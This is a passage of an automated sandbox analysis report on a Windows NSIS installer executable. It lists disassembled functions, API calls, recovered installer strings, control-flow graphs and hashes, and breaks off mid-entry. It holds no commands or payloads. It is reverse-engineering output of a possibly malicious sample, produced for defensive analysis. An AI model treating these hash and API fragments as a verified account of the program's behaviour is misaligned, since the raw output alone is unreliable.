                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
                                                                    • String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                                    • API String ID: 608394941-2746725676
                                                                    • Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
                                                                    • Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
                                                                    • Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
                                                                    • Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D
                                                                    Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185stringtimeCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    APIs
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    • lstrcatW.KERNEL32(00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401A76
                                                                    • CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401AA0
                                                                      • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004241C1,771B23A0,00000000), ref: 00404FD6
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FE6
                                                                      • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FF9
                                                                      • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
                                                                    • String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
                                                                    • API String ID: 4286501637-2478300759
                                                                    • Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
                                                                    • Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
                                                                    • Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
                                                                    • Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D
                                                                    Function 004035B3 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 587 4035b3-403601 GetTickCount GetModuleFileNameW call 405e7c 590 403603-403608 587->590 591 40360d-40363b call 406035 call 40677d call 406035 GetFileSize 587->591 592 4037e2-4037e6 590->592 599 403641 591->599 600 403728-403736 call 4032d2 591->600 602 403646-40365d 599->602 606 4037f1-4037f6 600->606 607 40373c-40373f 600->607 604 403661-403663 call 403336 602->604 605 40365f 602->605 611 403668-40366a 604->611 605->604 606->592 609 403741-403759 call 403368 call 403336 607->609 610 40376b-403795 GlobalAlloc call 403368 call 40337f 607->610 609->606 638 40375f-403765 609->638 610->606 636 403797-4037a8 610->636 614 403670-403677 611->614 615 4037e9-4037f0 call 4032d2 611->615 616 4036f3-4036f7 614->616 617 403679-40368d call 405e38 614->617 615->606 623 403701-403707 616->623 624 4036f9-403700 call 4032d2 616->624 617->623 634 40368f-403696 617->634 627 403716-403720 623->627 628 403709-403713 call 4072ad 623->628 624->623 627->602 635 403726 627->635 628->627 634->623 640 403698-40369f 634->640 635->600 641 4037b0-4037b3 636->641 642 4037aa 636->642 638->606 638->610 640->623 643 4036a1-4036a8 640->643 644 4037b6-4037be 641->644 642->641 643->623 645 4036aa-4036b1 643->645 644->644 646 4037c0-4037db SetFilePointer call 405e38 644->646 645->623 647 4036b3-4036d3 645->647 650 4037e0 646->650 647->606 649 4036d9-4036dd 647->649 651 4036e5-4036ed 649->651 652 4036df-4036e3 649->652 650->592 651->623 653 4036ef-4036f1 651->653 652->635 652->651 653->623
                                                                    APIs
                                                                    • GetTickCount.KERNEL32 ref: 004035C4
                                                                    • GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0
                                                                      • Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
                                                                      • Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2
                                                                    • GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C
                                                                    Strings
                                                                    • Inst, xrefs: 00403698
                                                                    • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
                                                                    • Error launching installer, xrefs: 00403603
                                                                    • fm, xrefs: 00403632
                                                                    • soft, xrefs: 004036A1
                                                                    • Null, xrefs: 004036AA
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                                    • String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$fm$soft
                                                                    • API String ID: 4283519449-670632367
                                                                    • Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
                                                                    • Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
                                                                    • Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
                                                                    • Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C
                                                                    Function 0040337F Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 175fileCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 654 40337f-403398 655 4033a1-4033a9 654->655 656 40339a 654->656 657 4033b2-4033b7 655->657 658 4033ab 655->658 656->655 659 4033c7-4033d4 call 403336 657->659 660 4033b9-4033c2 call 403368 657->660 658->657 664 4033d6 659->664 665 4033de-4033e5 659->665 660->659 666 4033d8-4033d9 664->666 667 403546-403548 665->667 668 4033eb-403432 GetTickCount 665->668 671 403567-40356b 666->671 669 40354a-40354d 667->669 670 4035ac-4035af 667->670 672 403564 668->672 673 403438-403440 668->673 674 403552-40355b call 403336 669->674 675 40354f 669->675 676 4035b1 670->676 677 40356e-403574 670->677 672->671 678 403442 673->678 679 403445-403453 call 403336 673->679 674->664 687 403561 674->687 675->674 676->672 682 403576 677->682 683 403579-403587 call 403336 677->683 678->679 679->664 688 403455-40345e 679->688 682->683 683->664 691 40358d-40359f WriteFile 683->691 687->672 690 403464-403484 call 4076a0 688->690 697 403538-40353a 690->697 698 40348a-40349d GetTickCount 690->698 693 4035a1-4035a4 691->693 694 40353f-403541 691->694 693->694 696 4035a6-4035a9 693->696 694->666 696->670 697->666 699 4034e8-4034ec 698->699 700 40349f-4034a7 698->700 701 40352d-403530 699->701 702 4034ee-4034f1 699->702 703 4034a9-4034ad 700->703 704 4034af-4034e0 MulDiv wsprintfW call 404f9e 700->704 701->673 708 403536 701->708 706 403513-40351e 702->706 707 4034f3-403507 WriteFile 702->707 703->699 703->704 709 4034e5 704->709 711 403521-403525 706->711 707->694 710 403509-40350c 707->710 708->672 709->699 710->694 712 40350e-403511 710->712 711->690 713 40352b 711->713 712->711 713->672
                                                                    APIs
                                                                    • GetTickCount.KERNEL32 ref: 004033F1
                                                                    • GetTickCount.KERNEL32 ref: 00403492
                                                                    • MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
                                                                    • wsprintfW.USER32 ref: 004034CE
                                                                    • WriteFile.KERNELBASE(00000000,00000000,004241C1,00403792,00000000), ref: 004034FF
                                                                    • WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CountFileTickWrite$wsprintf
                                                                    • String ID: (]C$... %d%%$pAB
                                                                    • API String ID: 651206458-3635341587
                                                                    • Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
                                                                    • Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
                                                                    • Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
                                                                    • Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9
                                                                    Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 714 404f9e-404fb1 715 404fb7-404fca 714->715 716 40506e-405070 714->716 717 404fd5-404fe1 lstrlenW 715->717 718 404fcc-404fd0 call 406831 715->718 720 404fe3-404ff3 lstrlenW 717->720 721 404ffe-405002 717->721 718->717 722 404ff5-404ff9 lstrcatW 720->722 723 40506c-40506d 720->723 724 405011-405015 721->724 725 405004-40500b SetWindowTextW 721->725 722->721 723->716 726 405017-405059 SendMessageW * 3 724->726 727 40505b-40505d 724->727 725->724 726->727 727->723 728 40505f-405064 727->728 728->723
                                                                    APIs
                                                                    • lstrlenW.KERNEL32(00445D80,004241C1,771B23A0,00000000), ref: 00404FD6
                                                                    • lstrlenW.KERNEL32(004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FE6
                                                                    • lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FF9
                                                                    • SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                                                    • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                                                    • SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                                                      • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004241C1,771B23A0,00000000), ref: 00406902
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
                                                                    • String ID:
                                                                    • API String ID: 2740478559-0
                                                                    • Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
                                                                    • Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
                                                                    • Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
                                                                    • Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98
                                                                    Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 729 402713-40273b call 406035 * 2 734 402746-402749 729->734 735 40273d-402743 call 40145c 729->735 737 402755-402758 734->737 738 40274b-402752 call 40145c 734->738 735->734 741 402764-40278c call 40145c call 4062cf WritePrivateProfileStringW 737->741 742 40275a-402761 call 40145c 737->742 738->737 742->741
                                                                    APIs
                                                                      • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                                                    • WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: PrivateProfileStringWritelstrcpyn
                                                                    • String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
                                                                    • API String ID: 247603264-1827671502
                                                                    • Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
                                                                    • Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
                                                                    • Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
                                                                    • Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD
                                                                    Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 750 4021b5-40220b call 40145c * 4 call 404f9e ShellExecuteW 761 402223-4030f2 call 4062cf 750->761 762 40220d-40221b call 4062cf 750->762 762->761
                                                                    APIs
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004241C1,771B23A0,00000000), ref: 00404FD6
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FE6
                                                                      • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FF9
                                                                      • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                                                    • ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    Strings
                                                                    • ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
                                                                    • ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
                                                                    • String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
                                                                    • API String ID: 3156913733-2180253247
                                                                    • Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
                                                                    • Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
                                                                    • Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
                                                                    • Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138
                                                                    Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 770 405eab-405eb7 771 405eb8-405eec GetTickCount GetTempFileNameW 770->771 772 405efb-405efd 771->772 773 405eee-405ef0 771->773 775 405ef5-405ef8 772->775 773->771 774 405ef2 773->774 774->775
                                                                    APIs
                                                                    • GetTickCount.KERNEL32 ref: 00405EC9
                                                                    • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CountFileNameTempTick
                                                                    • String ID: nsa
                                                                    • API String ID: 1716503409-2209301699
                                                                    • Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
                                                                    • Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
                                                                    • Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
                                                                    • Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98
                                                                    Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 776 402175-40218b call 401446 * 2 781 402198-40219d 776->781 782 40218d-402197 call 4062cf 776->782 783 4021aa-4021b0 EnableWindow 781->783 784 40219f-4021a5 ShowWindow 781->784 782->781 786 4030e3-4030f2 783->786 784->786
                                                                    APIs
                                                                    • ShowWindow.USER32(00000000,00000000), ref: 0040219F
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    • EnableWindow.USER32(00000000,00000000), ref: 004021AA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Window$EnableShowlstrlenwvsprintf
                                                                    • String ID: HideWindow
                                                                    • API String ID: 1249568736-780306582
                                                                    • Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
                                                                    • Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
                                                                    • Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
                                                                    • Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D
                                                                    Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
                                                                    • SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
